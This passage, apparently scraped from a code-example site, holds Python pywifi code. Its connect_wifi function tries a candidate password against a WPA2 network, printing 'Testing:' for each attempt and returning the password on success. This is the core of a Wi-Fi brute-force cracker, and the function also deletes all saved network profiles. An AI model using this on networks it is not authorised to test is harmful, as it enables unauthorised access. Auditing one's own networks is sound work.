        print("Interface inactive")
    elif pywifi.const.IFACE_CONNECTING == interface.status():
        print("Connecting")
    else:
        print("Unknown")
Exemplo n.º 30
0
def connect_wifi(name, password, comments=True):
    if comments:
        print(f"Testing: {password}")

    if iface.status() == const.IFACE_DISCONNECTED:
        # creating new profile
        profile = pywifi.Profile()

        # initiating network credentials
        profile.ssid = name
        profile.key = password
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.auth = const.AUTH_ALG_OPEN
        profile.cipher = const.CIPHER_TYPE_CCMP

        # remove previous network profiles
        iface.remove_all_network_profiles()
        tep = iface.add_network_profile(profile)

        # attempting connection
        iface.connect(tep)
        time.sleep(0.2)

        # take required action
        if iface.status() == const.IFACE_CONNECTED:
            return password
        else:
            return None